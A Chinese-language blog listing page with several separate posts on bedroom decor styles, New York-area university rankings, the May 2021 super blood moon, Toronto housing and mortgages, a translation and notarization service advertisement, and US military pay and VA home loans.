但是也有些人想要简单的东西,尽管只有最详细的颜色才具有可检测的颜色组合。看图片,您会明白的。床,镜框和窗帘的木材呈蓝色的不同阴影,就像灯罩一样。必须使用20世纪中叶的古典风格家具。

雄伟风格

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雄伟风格 示意图。

同样,有些人受到维多利亚时代等旧风格的启发,并将他们的卧室变成电影场景。凭借雄伟的床铺和宽敞的蚊帐,卧室可以成为唤醒想象力的地方。

极简主义风格

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极简主义风格 示意图。

简约的房间在设计卧室时也有其应有的用。它的直线以及各种浅色和柔和的颜色赢得了许多其他当代潮流的胜利。

在床上用品的任何房间添加色彩丰富的细节非常容易,您只需要确定自己喜欢的图案以及最能激发您灵感的颜色,充满创意。

2021-05-19 / by / in , , , , , ,
来美国留学去哪里?最新统计纽约顶尖大学排名

文|雨荷

纽约市不仅是百老汇,华尔街,自由女神等的故乡,  而且还拥有世界一流的大学。2020年QS世界大学排名中有八所 大学,还有三所位于城市附近的大学。纽约市成为世界上最受欢迎的学习目的地之一,正如其 在《2018年QS最佳学生城市》中的第18名所显示的那样。

1.康奈尔大学Cornell University

康奈尔大学Cornell University

康奈尔大学以美国第一所提供兽医学学位的大学而闻名,同时也拥有美国第一所教授现代远东语言的大学。

康奈尔大学(Cornell University)的主要校园位于伊萨卡(Ithaca),距纽约市西北约200英里,但它在纽约市也有很强的影响力。其医学校园位于曼哈顿上东区,2017年9月,该大学在罗斯福岛(位于将曼哈顿岛与曼哈顿区分开的河中间的小岛)开设了创新的“康奈尔科技”工程校园。皇后区),创造28,000个工作岗位。康奈尔大学的金融工程和建筑学院也设在曼哈顿。

纽约州附近还有三所国际排名高的大学,位于相邻的州。这些都是 罗格斯-新泽西州新不伦瑞克省州立大学 (排名第262联合世界,高达21位),在 特拉华大学 和 罗格斯-新泽西州立大学,纽瓦克 (651- 700)。这些大学位于纽约市郊,但仍在附近,它们较安静的环境和较便宜的生活费用可能会吸引您。

2.哥伦比亚大学 Columbia University

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哥伦比亚大学 Columbia University

哥伦比亚大学是世界领先的研究中心,在整个学科领域均提供强大的服务。在《 2019年QS世界大学学科排名》中,哥伦比亚大学在48个科目中排名令人印象深刻的 40个,其中包括英语和文学,地球与海洋科学,历史,解剖学和法学的前十名。

哥伦比亚大学位于曼哈顿上西区的中心位置-靠近中央公园的北端,就在百老汇大街旁,这条大道以纽约著名的戏剧界而得名。

它拥有一支高度多样化的师资队伍(超过4,200名教职员工),是美国大学中第三大国际学生群体,其33,032名学生中有36%来自美国以外的地区。

3.纽约大学New York University

纽约大学New York University

纽约大学是纽约市另一所名列全球最佳大学中的顶尖大学,今年排名上升4位,排名第39位。值得注意的是,纽约大学非常重视国际化,在世界各地设有许多分校,并设有令人印象深刻的出国留学计划。除了帮助自己的学生在国外度过时光,纽约大学还在庞大的学生社区中吸引了大量的国际学生。

尽管纽约大学在纽约有多个地点,但其主要枢纽是格林威治村的华盛顿广场校园。曼哈顿下城这一地区被称为村庄,被誉为纽约市最具创意和波西米亚风情的地区之一,为纽约大学的学生提供了绝佳的氛围。

多年来,这所学校吸引了众多作家,艺术家,音乐家和知识分子的不拘一格,在纽约学习–毫无疑问,这对许多有创造力的学生来说都是吸引人的部分。

4. 耶西瓦大学Yeshiva University

耶西瓦大学Yeshiva University

耶西瓦大学到2020年,全球大学 排名第359位, 是纽约另一所研究重点最强的大学。它成立于100年前,其使命是将犹太传统和文化与西方遗产相结合,并且在Yeshiva大学博物馆中可以看到这种文化焦点的持续影响,该博物馆通过艺术,建筑和历史探索犹太人的生活。

与此处列出的纽约其他大多数大学相比,这是一所相对较小的大学,耶希瓦大学有大约6,300名学生,其中只有2,570多名是本科生。Yeshiva University的校园和设施遍布曼哈顿,布朗克斯区和皇后区(还有一些在以色列),其主要校园位于曼哈顿上城的华盛顿高地地区。

5. 新学校The New School

新学校The New School

在最近的世界大学排名中排名第561-570位的 The New School  (以前称为New School University)今年庆祝其百年诞辰,有10,000多名学生,其中约30%是国际学生。

新学校的主要校园位于该村的艺术环境中,因为该机构主要侧重于艺术,人文和社会科学,因此是一个合适的地点。它的七个学术部门分别是:文科,音乐,戏剧,爵士和当代音乐,公众参与,社会研究和设计。

在其著名的校友中,新学校拥有多个艺术领域的先行者,包括演员布拉德利·库珀,时装设计师汤姆·福特和作曲家伯特·巴哈拉赫。

6. 纽约城市大学City University of New York

纽约城市大学seal.svg

纽约城市大学City University of New York

虽然此处列出的纽约所有其他大学均为私立,但纽约城市大学(CUNY 是NYC的公立大学系统。CUNY目前在全球排名601-650,是美国最大的城市大学系统,由遍布曼哈顿,皇后区,布朗克斯和布鲁克林的24所大学组成(在史坦顿岛上设有一所大学),有274,000名学生入学。当然。

从职业培训到博士学位研究,全日制学习到夜校,纽约城市大学几乎可以肯定有一个与之匹配的课程。CUNY还以与城市居民区之间的紧密联系而自豪,并在五个行政区建立了实习和奖学金计划网络,以丰富学习生活。

7. 史蒂文斯理工学院Stevens Institute of Technology

史蒂文斯理工学院Stevens Institute of Technology

尽管实际上位于邻近的新泽西州,但 史蒂文斯理工学院却因与曼哈顿岛隔江相望而跻身我们在纽约的顶尖大学之列。在今年的世界排名中,它的排名为651-700。

史蒂文斯技术学院坐落在哈德逊河西岸霍博肯(Hoboken)占地55英亩的校园内,可让您从市中心附近逃脱,欣赏纽约著名天际线的壮丽景色。

顾名思义,史蒂文斯理工学院非常重视工程,科学和技术学科,并以创新大学的身份进行营销。但是,它也提供艺术和人文学科的学位–实际上,所有本科生都必须修读一些人文课程。史蒂文斯理工学院(Stevens Institute of Technology)招收了约6,900名学生,其中一半以上是研究生。

8. 福特汉姆大学Fordham University

福特汉姆大学Fordham University

福特汉姆大学 在2020年QS世界大学排名中排名801-1000, 自称为纽约耶稣会大学,擅长于人文,科学和商业。

福特汉姆大学由10所学院组成,其中四所大学为本科生,六所大学为研究生。这些学校总共招收约16,037名学生,其中有纽约市的两个主要校区-布朗克斯区的Rose Hill校区和曼哈顿的林肯中心-以及曼哈顿以北约25英里的西哈里森大学较小的校区。

福特汉姆大学的玫瑰山校区靠近小意大利地区,在历史上与意大利移民有关,但仍以意大利餐馆和商店为特色,而林肯中心则靠近中央公园的东南角。

2021-05-17 / by / in , , ,
5月26日 超级血月亮再现

这个月的晚些时候,将出现一次天文奇观,”超级血月”再现。5月26日这一天,将出现今年最大的满月。5月份的满月,刚好发生在月球绕地轨道上最接近地球的位置,因此月面看起来会觉得比较大,是今年的12次满月中最大的一次满月,也称为是“超级月亮”。

 

 

5月份的满月,比今年12月19日那次满月(年度最小满月)的视觉直径大了约12%。

更为奇特的是,本次满月还正逢月全食。将出现超级“血月”现象。全球范围都可以观察到,在美国的话,西部是比较好的观测点。

称其为“血月”是因其发出红色光芒而得名。根据美国国家航空航天局(NASA)的说法,血月发生在月全食期间。此时地球处在月球和太阳之间。

值得注意的是,这次血月将是5月满月,超级月亮和月全食相结合的结果。

美国国家航空航天局在网站上解释月全食出现血红色的原因是,这时太阳光被地球大气层过滤折射,只剩红色光可以穿透。所以我们能看到在地影里,一轮红色的月亮挂在天空中。

5月26日的日全食过程,月亮穿过地球的阴影,将持续数个小时。这个时候,月亮会呈现出血红色。

不同于日食,月食可以用肉眼观察,这次日食的最佳观察点是环太平洋地区:美洲,澳大利亚和新西兰以及东亚。对于美国来说,最好的观赏地点是夏威夷,阿拉斯加和西部各州。

在美东地区,只能在日暮时分观察到日食刚刚开始的一小部分,之后月球就位于地平线以下了。越往西部,能观察到更多月食的过程,在美国西半部基本可以观察到日食全过程。

月亮在世界协调时间(UTC)11点11分至11点25分达到“全食”。大家可以依次来推算你所在地区的时间。如果你在美国能够观察到日食的地区,只要起个早,就可以看到超级血月这种罕见的天文现象了。

不过,在中国古代,人们相信,红色月亮为至阴至寒之相,兆示人间正气弱,邪气旺,戾气强;风云巨变,山河悲壮;天下动荡,火光四起;故称:血月。欧洲人认为血月会唤醒黑暗魔力,印度人认为血月预示灾难。

佛教和道教在出現血色月亮的時候都會認為是天地間陰陽失調。历史上确实也记载了很多战乱和灾祸都与血色月亮有关。

不知道您怎么认为呢?

2021-05-17 / by / in
多伦多买房| 2021多伦多房地产往哪买?华人最爱社区排名|高性价比楼花不看可惜

文|多伦多买房智多星

实际上加拿大房地产在疫情期也是爆发了房市热,各地的房价都在上涨,作为加拿大最大城市的多伦多房地产必然领跑群雄。所以现在多伦多买房要注意些?房市如何?有一些坑要小心,请继续往下看!

多伦多房地产市场現狀

大多伦多区域(GTA)中,多伦多房地产市场(多伦多市)MLS的最新统计数据显示(五月房市数据),过去28天平均房价为1,121,446加币和7,395套新替代。截至今天(5/17) ,多伦多房市数据显示,房屋的平均待售天数为11天。

多倫多地產,多倫多平均售出房價

从4 / 15-5 / 13的统计,多伦多房地产市场,平均每110万加币,房价较上个月上涨了2.4%,去年同期上升了19.8%。新上市的房产有7395个,房市有4224个销售,销售价比上市价达107%。

多倫多買房,獨立房價

多倫多買房,鎮屋房價

多倫多房地產,康斗房價

多伦多独立房新上市房有2179个,销售1250个,上市中有1646个。多伦多镇屋(Townhouse)上市房有1058个,销售1006个,上市中有676个。多伦多康斗(Condo)上市房有4001个,销售1944个,上市中有3195个。可以修剪,镇屋的竞争程度最大,康斗较缓。

以每平方尺计算现在的多伦多房价:
Downtown:1100-1400加币/每平方尺
Midtown:950-1250加币/每平方尺
北约克:850-950加币/每平方尺

以下可以看到大多伦多区域(GTA)的平均房价,中位房价:
其中大多伦多房市中的国王镇有最高的房价。

以下是大多伦多区域(GTA)的房价涨幅比例(至少):
大多伦多房市中的Mono有最大的涨幅。

*以上多伦多房市数据来源:房地产网ZOLO

多伦多买房小提示

多伦多市中心虽然繁华,但也不是所有地段都好,要注意街道的卫生条件,治安条件,例如某些医院出入的精神疾病患者,有时会让人感觉有治安不好的观感。

大多倫多地區(維基百科)

多伦多市中心买房,近地铁和高速的位置还是相对更好的。例如北约克就是一个在交通,生活机能,治安,学区各方面来说都比较均衡的地区。 ,不过房价不好入手,对新手来说压力可能过大。

多伦多房地产 华人喜爱社区前五

五,Cornell社区:万锦市(Markham)东北边
先介绍第五名Cornell社区,此为新发展社区,有很多新房陆续兴建,有大量屋大房多,价格相对实惠的房屋,独立屋,镇屋都有,两千尺住宅大约在一百万加币以上。

四,Willowdale社区:Yonge&Finch
因此,这里有很多年轻人很钟意,也吸引过多的留学生的租住。对投资买家是一个好诱因。

三,Whitechurch-Stouffville社区
这里距离万锦市北边只有15分钟距离,很适合小家庭居住,既有安静也有繁华。双车位独立屋约一百万加币。这里有停车场公园可以踏青,对工作之余的人士是很适合的生活。

二,Markville社区
想要顶级学区选这里就对了,Markville高中排名多伦多第二!有孩子的家庭都会向往这个社区,而且治安好,近地铁,生活方便,还有华人美食,超市,所以吸引大量华人居住。

一,South Unionville(南渔人村)
第一名的社区当然不简单,在各方面都很受到华人喜爱,除了生活机能好,娱乐也丰富,吃美食不用愁,去公园很靠近,而且高中,小学都非常好,所以成为第一名华人最爱社区当之无愧,只是太多华人想抢这里,资金不多就难抢房了。据统计有超过62%的华人居住在这里。这里有新旺角,朗豪坊广场,三家华人超市,而且这一切都只要步行即可到达。

多伦多楼花:大多地区最新楼花

1. Condo:珀奇(Perch)位于金斯顿路(Kingston Road)4694 Kingston Rd,Scarborough,ON,俯瞰着高地溪(Highland Creek),是菲尔姆兰德(Firland)备受期待的项目。从著名的Core Architects惊人的极简主义建筑设计到其启发性的便利设施,Perch的每个方面都彰显着幽静的山间生活。起步价:$ 49万9,990加币。可入住:2023年八月份。

2.独立房:在Victory Green,您会发现一种生活方式,可以让您每天享受无数的小胜利。这一切都始于万锦市的便利位置和,娱乐场所就在您家门口附近的几分钟之内。当然,片刻之遥即是美丽的自然空间,例如羽毛石公园,博普雷公园,费尔特里公园和胭脂国家城市公园。新楼起步价:$ 95万加币。可入住:2022年二月份。

3.镇屋:The Towns On Bayview位在列治文山19th&Bayview Ave,Richmond Hill,ON。2021年末可供居住,起步价:$ 1,089,990。 。物业费$ 119。

4. King East Estates位于橡树山的连绵起伏的丘陵上安大略省列治文山的King Road&Mccachen St,在历史悠久的地区被丘陵,森林和水壶湖所环绕。在King City外体验宁静的生活。这些房屋采用迷人的内饰设计,精致而舒适,非常适合家庭居住。选择不同的独立屋或联排别墅,各种户型满足您的需求。起步价:$ 1,25万5,000。可居住:2021年三月份。

以上楼花购房请洽多伦多房地产经纪:于文博,于军
电话:437-881-8888
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多伦多贷款买房 多伦多买房Offer

多伦多买房,当然很多人也是贷款,银行在这方面预期贷款人进行贷款压力测试,一般而言如果是用收入来计算房贷,最多约能贷款住房的八成,首付20%,同时贷款额度不能超过自己年收入的5至5.5倍。如果首付降低比例,贷款额度也会降低。如果是夫妻都有收入,贷款的金额就会大大提高。

信用分数:多伦多贷款,在加拿大的五大银行中,都要求信用分数基本需要680分。这里要注意信用卡的还款,除了按时缴清卡费,贷款人最好不要申请过多的信用卡,不然会拉低信用分数,因为每开一张信用卡,银行都会查你的信用分数,每查一次就会拉低几分。所以有两张信用卡其实就够用了。并且提醒大家,轻易不要使用分期付款购物,也会拉低信用分数。

贷款经纪人:如果你说我已经看好房子准备贷款了,请不要随便去网上做贷款预批申请,因为你不知道帮你进行的对方有没有经验,假如没有经验,他很可能无法帮你完成贷款,又造成信用分数被拉低,而且要在同银行另找贷款经纪也没办法转换。最好事先询问有口碑的贷款经纪,或者多问几个经纪,以确认对方是否有能力帮你做好贷款,以免多次被查信用记录,又再次被拉低信用分,非常不值。

贷款预批:是否需要先做贷款预批?这要看个人情况,有些不抢的房子,可以直接下一个有条件要价:如果贷款能通过,Offer就成立,要不能通过,Offer就不成立。那假如是一个抢手的房子,最好还是先拿到贷款预批信再去抢房。

但有些情况,在抢offer的情况下,卖家就有了更多的选择权,这个卖家有时候会注意选择不带任何附加条件的offer。而在这个时候为了提高自己的胜算,有时也会在情急之下,出一些不带任何条件的报价,多伦多房地产经纪于文博提醒买家:你可以下一个不带验房条件的报价,但如果是在这样的情况下,请你一定在下报价之前先清楚3个风险:

一个是验房的风险,这个由于你下了无条件,那么房屋有很多隐蔽工程你没有看到;另外一个是金融风险,就是银行是否会遵循你要求的,或者你评估的,或者你们成交的金额,按照预定的方式给你贷款。因为可能银行给你最后评估的价格是不一样的。

第三个风险,就是如果你买一些公寓,一些业主委员会历史法律文件,或者其他的一些法律文件,因为你下的报价是无条件的,在购买之前你也并不清楚。以上三个风险是大家应该在实践过程中特别注意的。

加拿大房地产市场暴涨 政府调控

最后我们来谈谈加拿大政府的政策。为了替代加拿大火热的房市降温,加拿大金融机构监管办公室(OSFI)于今年6/1起,调高“高无保险按揭压力测试(压力测试)”的利率,从4.79%升至5.25%。所谓“压力测试利率”就是银行在计算贷款额度时使用的利率,而不是按照当前按揭利率去计算,简单说就是一个更大的利率来计算,使贷款5月份的按揭利率:浮动利率约1.4%,固定利率约2.3%左右。

如今,6/1起「压力测试利率」升至5.25%,估计将会导致购房者的贷款额的下降4.5%。这对未来加拿大购房者带来的压力,至于如何如何还要看下半年统计数据。

加拿大移民政策对于多伦多地产的影响

加拿大政府在移民政策上,依然是大开门户的,在4月14日开始,就有9万个名额的工作签证和留学生的移民申请者,已经被抽中绿卡,换句话说,这些人如果买房就不再需要支付15%的外国买家税。

再来,由于加拿大政府出台了一个法规:如果留学生毕业后想要拿到工签的话,必须要在今年12月底前回到加拿大境内上课,甚至是网络上课,也要在加拿大境内。因此,有很多留学生都预计在夏季要回到加拿大租房。这方面也会带动投资者的购房行动。

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2021-05-16 / by / in ,
美国纽约/洛杉矶/旧金山/波士顿 专业翻译公证和领事认证

在美国申请身份调整,绿卡申请、驾照、保险或其它法律事务,需要将中文证件翻译公证或认证翻译成英文。说到翻译公证,其实并不需要去美国的城市公证处,找个美国专业翻译公司,最好是美国翻译协会的成员,能免去被移民局或其它机构复查的麻烦,既快又省钱。另外,在美国的华人如果无法亲自到中国办理事务,需要领事认证/三级认证国内事务,涉及出生证、结婚证、学位证等各类证件翻译和公证,要怎么办理呢?

翻译公证/认证翻译

翻译公证/认证翻译(Certified Translation) 是将中文或其它语言证件由专业的翻译机构翻译成英文并加以公证。

就是说,英文翻译件是经过认证的,经过有资质的翻译人员的翻译,并声明其从业资格的一份翻译证书。

翻译公证的材料可用于院校申请、转学分申请、移民申请、工作及专业资格证书申请、降低保险费率、法庭官司等极为广泛的用途。

常见的翻译公证文件

那么当您申请H1B工作签证或绿卡时。需要递交给USCIS(移民局)的申请材料中就会包括您在中国取得的学位证、结婚证、出生证等证件的英文翻译公证件。

如果刚到美国,可能需要翻译公证中国驾照、驾驶记录等文件递交给DMV(美国交管局)、保险公司、银行机构等等。

对于申请赴美求学的小伙伴来说,就需要翻译公证国内高中或大学取得的学位证、成绩单等文件或其他资格类证书考试。

选择翻译公司

选择一家专业的翻译公司,能为您省下来回复查的麻烦,可以考虑以下几个方面:

资质:最好是美国翻译协会认证的翻译公司。对于审核材料的机构(如移民局)来说,美国翻译协会认证的翻译公司,他们的翻译文本都是符合格式和用词规范的,可靠度较高。

服务:公司员工能否提供耐心解释,文本递交和接受是否方便(比如网上提交和邮件提交)。翻译的周期能否符合您的需要,有没有加急服务等。在满足您需求的同时还能节省下宝贵的时间。

价格:合理的收费,肯定是要考虑的。

美域翻译公司

美域留学与翻译公司是一家权威翻译和留学机构,在美国的迈阿密、波士顿、旧金山、洛杉矶和纽约均设有办公室。 自从2009年成为美国翻译师协会(ATA)的会员以来(会员号:249353),美域已有十多年的翻译公证经验。公司每年帮助数千名客户向美国移民局、各级法庭、ECFMG/USMLE美国医生资格考试、美国交通管理局、保险公司等机构提供材料,并始终保持了100%通过率。

美域为客户提供灵活的文件递交方式,无论是互联网或邮件,美域可以为美国和世界各地客户提供可靠、便捷的翻译公证服务。

美国翻译师协会会员证

为保证翻译件的准确性,美域的聘用的都是一流的翻译人才。美域员工绝大多数毕业于美国一流大学,拥有硕士或博士学位。公司员工都在美国学习、工作和生活多年,具备优秀的双语能力,熟悉美国文化,并至少深度掌握一门专业知识,员工所学专业涵盖了医学、教育、法律、财经管理、理工及社会人文科学等诸多领域,满足各类客户需要。

美域作为ATA认证会员,熟悉相关机构翻译要求,经验丰富,翻译精确。

美域的价格也很公道,而且服务快速,小型文件仅需3个工作日完成,加急服务仅需1个工作日。

价格

常见的价格

(注:以上价格为常见标准文件格式价格,如果文件与标准文件格式不一致,价格可能会有所浮动。)

美域翻译服务范围

 

 

除了专业的翻译认证,美域还提供技术翻译、口译、学位评估、医疗翻译和领事认证(三级认证/公证)服务等各类专业服务。

领事认证(三级认证/公证)

领事认证(三级认证/公证):在美国的华人很多时候无法亲自到中国办理事务,只有采用《委托书》委托他人办理,或者就某些事务通过《声明书》做出声明。而《委托书》、《声明书》等文件必须经过领事认证(又称三级公证/认证)才能被中国有关部门接受在中国使用。此外,美国机构出具的文件,如出生证、公司注册等,也要经过领事认证(三级认证)才能在中国使用。

三级认证的程序:首先由地方公证员(Notary Public)对文件进行公证(即第一级公证),或由有权机关出具“核证副本“(Certified Copy)。然后进行州务卿认证(即第二级认证),最后进行领事认证(即第三级认证)。经过以上三个级别的公证/认证后,领事认证完成。所以,领事认证与三级认证本质上是同一件事。

送往中国香港、澳门地区使用的有关文书,无需办理领事认证。有关文书在美国当地公证员公证,并经有关州务卿或美国国务院认证办公室确认后即可使用。

领事认证(三级认证/公证)的常见材料:各种委托书(如房产、股票等财产买卖委托、户口办理委托、律师事务委托);各种声明书(如放弃财产继承权、护照更新、持多种身份证件);美国机构出具的各种文件(如美国出生证、结婚证、离婚证、死亡证明、法庭判决、护照、绿卡、学位证、无犯罪记录、医生执照、在职证明、病历等等),及其它文件的翻译件。

美域办理三级认证/公证的优势

  1.  三级认证/公证(领事认证)和翻译可一步到位全部办理。美域公司可为客户办理全部三个级别的公证认证。经验丰富,指导详细。
  2. 各种委托和声明事项内容繁多,形式多样。中国使领馆对文件内容和身份证件要求严格,不符合要求的会被拒收。美域公司积累了多年的丰富经验,提供有效的咨询和建议,免您徒劳奔波。
  3. 免费提供模板和中国使领馆认证申请表。如房产买卖委托、户口办理委托、放弃继承声明、护照国籍声明、单身声明等。您只需准备好自己的身份证件和公证(认证)的基本信息,其它都由美域免费提供,您可省心省力省时间。
  4. 为特殊客户,美域可提供上门服务和代客邮寄服务。

美域公司在美国的迈阿密、波士顿、旧金山、洛杉矶和纽约设有办公室。无论您是办理留学申请、投资移民、绿卡翻译,还是需要处理国内的房产,需要办理委托书,美域都可为您提供专业的服务。

另外,除了英语,美域还可提供西班牙文、阿拉伯文、德文、俄文、日文、韩文、印度语等100多种语言的翻译认证、笔译、口译服务。

新冠疫情期间,美域各办公室一直坚持工作,而且成功地帮助众多客户办理了在纽约/洛杉矶领事馆和DC大使馆等领事(三级)认证/签证/护照和旅行证更新等业务,积累了新冠期间申请中国使领馆各类领事、签证、证件的宝贵经验,并掌握了有效的申请途径。

前段时间移民排期的改变,美域推出了485和944出生证、结婚证及外国学历认证一站式服务,快捷高效。

迈阿密/翻译公证/出生证翻译公证 786-250-3999 / 786-206-3184

旧金山翻译公证/三级认证 415-868-4892 翻译推荐/领事认证

如您需要咨询或业务联系,可致电美域留学与翻译公司各地办公室:

旧金山办公室

中国直拨美国: 950 4042 3692

美国本地电话: +1 415 868 4892

电子邮箱: ca@aet21.com

微信:18611291421

地址:851 Burlway Rd Ste 421, Burlingame CA 94010

网站:https://americantranslationservice.com

工作时间:周一 至周五上午9:00 – 下午5:30.(美西时间)

 

洛杉矶公证服务处

电子邮箱:ca2@aet21.com

电话:949-954-7996

微信:LA9499547996

地址:19800 MacArthur Blvd, Ste 420, Irvine CA 92612

 

迈阿密办公室

中国直拨美国: 950 4037 9459

美国本地电话: +1 786 250 3999

电子邮箱: info@aet21.com

网址:https://www.americantranslationservice.com

微信: AET-Miami

地址:15321 S Dixie Hwy, #302, Palmetto Bay, FL 33157

营业时间:周一至周五,9am-5:30pm 美国东部时间

纽约办公室

美国本地电话: +1 917 970 0588(翻译公证、学位评估)

+1 917 970 0698 (领事认证、旅行证、多国签证等业务)

+1 718 521 6708 (领事认证、旅行证、多国签证等业务)

微信:翻译公证:jennifertjchang

三级认证: AET_NYC(“AET-NYC”是假微信号,不是美域公司微信号,请大家谨防上当受骗!) 或AET_BOSTON

留学咨询:liutong9271

电子邮箱: nyc@americantranslationservice.com

地址:100 Church Street, Suite 800, New York, NY 10007

工作时间:周一 – 周五,上午9:00 – 下午5:30.(美国当地时间)

 

波士顿办公室
电话: 781-605-1970
电邮:boston@aet21.com
微信:翻译公证:jennifertjchang 三级认证: liping7991 留学咨询:liutong9271                                地址:6 Pleasant St, Suite 418, Malden, MA 02148 近地铁,泊车方便。
工作时间:周一至周五,上午9:00 – 下午5:30.(美国当地时间)
周六,上午9:30至中午12:30

 

证明:

房地产,户籍,学历,名字,出生证,死亡证,文凭,成绩单,健在证明,单身证明,结婚证明离婚证明身份证明

公证:

房地产委托书,授权书,财产过户,结婚离婚证书,商业合约,法律文件公证,声明书,放弃遗产声明书,中国领事馆文件公证服务

认证:

代办县,州政府及中国领事馆认证签证服务

社会服务项目:

身份转换,绿卡,工卡,公民入籍,表格文书翻译

家庭服务项目:

所有权过户,遗嘱,生前信托,低收入家庭医疗福利

留学出国服务项目:

I20,回美证,学校申请,私立高中,监护人,寄宿家庭,身份转换,居留延期,外国人土地委托买卖

公司商业服务项目:

企业在美注册,商标注册,银行开户,成立公司,商业贷款,代管美国办事处

2021-05-16 / by / in , ,
美国军人工资福利待遇明细 申请住房贷款流程

文|雨荷

美国是世界第一军事大国,美国军人(美国大兵)的薪级总共分191级,社会保障制度非常完善,福利待遇是世界最好的,美国军人薪水高的惊人。下面就为您分享一下美国军人的福利待遇

美国军人福利待遇:

1. 军人及家属可享受医疗保险和牙保险。

2.退役军人可以免费上大学;退役军人有退伍军人法案,上学补助3年学费和生活费;军龄10年以上的,不用该福利可以转到子女名下。

3.军人买房贷款可零首付,享受低息贷款。

4.军人退伍后考取政府工作有加分,比如考警察服役满后退伍会加5分。

5.退役军人拥有的企业在政府贷款政府项目招标有优先权。

6.全职军人除法定节假日外, 每年有30天的带薪假期。

华盛顿, 钻团队, U 的军队, 精度, 性能, 目睹

全职军人 示意图。

7.军队提供专业的技能培训, 入伍前无需工作经验,有150余种工作任选。

8.军人可享受移民政策快速成为公民,配偶和子女申请绿卡的排期提前。

9.军人住房补贴根据当地的房价以及消费水准计算。

10.军龄满20年可退休, 可再找工作二次退休, 领取双份退休金。

美国大兵可以用VA loan在银行申请贷款买房

美国大兵贷款流程:

1.军人证明,过去两年的报税单。

2.过去两个月的工资表,当前存款资金证明。

3.准备好材料就可以跟银行申请pre approved预先核准。

美国军人贷款买房详解:

美国军人贷款买房只能买现房,不能买期房;不能购买投资房,只能买自住房;购房后需要居住两年以上。

房地产, 房子, 出售, 代理, 业务, 徽标, 业务图标, 成功, 设计, 马克, 商务部, 通讯, 战略

美国军人贷款买房 示意图。

如果因为军队原因该条文则可变通,比如外派、更换基地等活动,只要向军队提供相关证明原来要求居住在购买房子两年的要求就可以免除。

美国大兵薪水详解

美军他们的薪级总共分191级,大致分为基本薪资、特殊津贴、奖励津贴,还有特殊补贴等等的,名目非常的多。只要符合其中一项,你的薪水就会增加很多 。

美军最低就是E-1,就是当兵四个月之后,领到的薪水最少是1600美金。会特殊语言,现役军人最高可以每月补助到1000美金。这是针对少数比较特别的语言;如果是一般比较大众的,补贴就不会达到那么多。如果从最低等的E-1士兵算起,就从1600美金暴涨到2600美金。

手, 美国, 美元, U, S, 1, 一, Dollar, 货币, 钞票, 帐单, 栈, 笔记, 很多

美国大兵薪水 示意图。

美军还有很多的补贴,例如在服役期间内结婚,可以获得政府额外的BH津贴,一家每个月是多了几百美金。再来还有伙食津贴,每个月士兵差不多可以领到将近台币300美金,士官辅助稍少一点,大概是台币200美金左右。

美国军人免费住在军营内的宿舍,也有外住的,是由部队支配的军营外民宅。住房补助是按照各不同区域而定的,有些州或某些特殊的区域,住房的成本特别高,会按照那个地区的住房水准来给补贴, 平均每一个月可以得到800美金。

若跟被抚养人住在一起,每个月的标准差不多会超过1000美金;如果是在战事前线,那些人员正在参与战斗的,就会有战斗补助,每个月基本的补助至少225美金;如果在前线再给100美金;和家人分居的再给250美金补助。另外每天还有4美金的额外精神补助,大概120美金左右。

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住房补助 示意图。

如果在打仗的时候没有时间去花钱,那么这时候得到的薪水都会放到一个特殊的账户里面,这个账户会比普通银行利息高五倍。如果是参与战争的,这时候的薪水是完全免税的。而海军出海,每月最少补助150美金,最高可能补助到620美金,如果是军官可能是700美金。

还有和空军有关的飞行补助最少先给150美金,跳伞的可能给150美金到250美金;美国大兵生小孩的给几百美金;就连服装也给补助,让自己去买,补助就是500多到1000多美金,甚至军官可能最高给到四千美金。各种补贴都加起来是非常可观的。而且这是最差的二等兵,会有这些钱。

二等兵上面还有一等兵、上等兵,下士、中士、上士、士官长,若是当到E-4下士,那薪水直接2088.9美金起。合计60000台币,而且这六万再加上五花八门的津贴:如伙食费,一个月一万;然后每一年随着军龄增加,当一年当两年的钱不一样,虽然说不会无限的给加上去,可能当了五年,薪水就到顶了,但是它还是每年多少会再给调一点。如果是当了五年的下士,那薪水就是2535美金起,比一开始当的时候还差不多多了450美金左右。

如果当到了军官,那最少也会有2966.4美金.等于台币85200。仔细的介绍一下这个列表:

从E4开始是下士,E5是中士,E6是上士,E7是三等士官长,E8是二等士官长,而E9就是一等士官长,或只是哪个军的总士官长,可能是陆军总士官长或空军总士官长,或是海军总士官长。而在总士官长地位非同小可。他代表那个军种的总士兵和士兵的发言人,全军种就这么一人,所以他受到的礼遇跟待遇,相当于是高阶军官的等级,有一些的资历甚至是将军看到他都要跟他敬礼。那如果你当到这个阶级,而且干满四十年的,起薪你就有7844.7美金,合计至少220000台币,这还不包含他的什么奇奇怪怪的佳绩。

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美国大兵 示意图。

那我们再往下看,这个就比较特别了, W1、W2、一直到W5 ,这是准尉的阶级。士官长是从三等开始往上晋升,晋升到最高的是一等,然后再来进升成为总士官长。

准尉就不一样,它是从四级开始晋升,四级、三级、二级、一级、特级。W5就是特级准尉,他介于军官和士官之间,如果在军官考核合格之后,他还可以晋升成为少尉。所以以军街的角度来看,它也是比少尉低的。接下来从O1开始就是军官的阶级了,O1是少尉;O2中尉 ;O3是上尉; O4、O5、O6少校、中校、上校。O7开始就是将军级。

光是在少尉这个阶段,每一个月就有3034.8美金了,如果当了三年,那就可领到在这个位阶的最大极限薪水,达到3818.7美元。此后不管当几年,他薪水都停在3818.7美元。在O 2中尉,在第六年你会达到你的薪水极限,4839美元。那如果你的肩膀上长出了一颗梅花,则薪水至少从 4602.6美元算起,而且你的军龄达到十八年的时候,你就会领到最高7684.8元,必须再说一下,这个军龄是累积起来的,就是包含你从刚进军中的二等兵开始算起,一路当到中校、少校的时间点。那如果当你当到将军,肩膀上蹦出了这颗无敌星星之后,薪水8438.1美元起。军龄在第18年同样达到您能够领的极限,12296.7美元,等于现在新台币373719。

O8是中将,O9是上将, O10就是五星上将,有可能是四星上将了,总之绝对是上将级别。但是如果是在北约代码里面会分得比较仔细。在北约代码当中,四星上将就是OF-9, OF-10才是五星上将。但在美国的历史上只有九人拿到过五星上将的军阶,所以基本上这个蔚阶其实看得到吃不到。一般最大极限能够领到的就是四星上将的O9薪资,但是也基本上跟五星上将几乎等同了。干满第三十年开始就是等同的。

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退役军人 示意图。

那我们就看一下在这个表单当中最高可以领到多少?那最高在这一份能够看到的表单当中,军阶最高军龄也最长的情况下,那你也可以领到15583.2美金,新台币450000。

O-10的阶级,是属于总参谋长或国防部长的薪水。而且必须强调在这个表单当中我们看到数字都是不含各种津贴之类的,都是本薪。

其实也不用太意外,美国一年的军费就是七千亿美金左右,

